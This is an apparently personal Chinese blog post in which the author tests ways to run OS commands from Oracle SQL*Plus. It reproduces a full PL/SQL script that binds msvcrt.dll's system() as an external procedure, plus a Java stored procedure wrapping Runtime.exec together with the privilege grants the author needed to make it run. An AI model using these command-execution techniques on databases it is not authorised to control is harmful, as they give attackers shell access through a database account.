oracle cmd

原创 2011年01月14日 09:42:00

装了一个oracle db11g,于是想试一下网上流传的在sqlplus中执行cmd的一些命令,也不知怎么的,没一个好用的,可能是网上转来转去的转错了.不过有一个简单的执行cmd命令方法:

SQL> host net user

User accounts for //PC-ATQHJ4UG1SDA

----------------------------------------------------------------------------
__vmware_user__          admin                    Administrator
ASPNET                   Guest                    IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA     SUPPORT_388945a0
The command completed successfully.

 

unix或linux下用

! command


======================补充======================

网上的另两种方法:

1是利用msvcrt.dll

写一个c:/orac.sql

内容:

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:/windows/system32/msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

然后C:/>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:/orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:/oracle.txt');

结果在我本机出现

第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1

没有成功。

第二种方法

c:/1.sql

create or replace and compile
java souRCe named "util"
as
import java .io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

c:/2.sql

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

c:/3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

登陆上去后依旧是依次执行

SQL> @c:/1.sql
        /

       @c:/2.sql

       /

      @c:/3.sql

      /

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)

exec :x:=run_cmz('ipconfig'); 成功运行了命令

测试环境win2003+oracle11g

相关文章推荐

oracle数据库导入导出cmd命令

 Oracle数据导入导出imp/exp就相当于oracle数据还原与备份。exp命令可以把数据从远程数据库服务器导出到本地的dmp文件,imp命令可以把dmp文件从本地导入到远处的数据库服...

Oracle cmd

  • 2008年10月27日 16:34
  • 934KB
  • 下载

cmd脚本创建Oracle数据库

  • 2012年09月06日 16:57
  • 8KB
  • 下载

2015年10月28日oracle在CMD命令下用到的一些命令

设置SET ORACLE_SID=ORCL ORCL--实例名称  首先应获取cmd的管理员权限 --停止oracle实例服务 C:\Users\Administrator>net stop ...

Oracle TNS CMD 溢出资料

Metasploit 的Oracle TNS  溢出模块  auxiliary/admin/oracle/tnscmd  从国外网站找的exploit资料:   Tnscmd 2001/0...
  • god_7z1
  • god_7z1
  • 2011年10月24日 17:17
  • 563

oracle 在CMD下登陆并进行用户密码修改

打开cmd,输入:sqlplus/nolog 输入:conn username/passworld@数据库名称 当然还有其他的方式: sql>conn...

oracle在cmd下通过命令导入导出数据

1、首先在cmd下切换到oracle的客户端的exp.exe所在的bin目录下,例如 D:\oracle\product\10.2.0\client_2\BIN 数据导出:导出的数据库...

oracle数据库cmd命令导入导出dmp库文件

oracle数据库cmd命令导入导出dmp库文件
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:oracle cmd
举报原因:
原因补充:

(最多只允许输入30个字)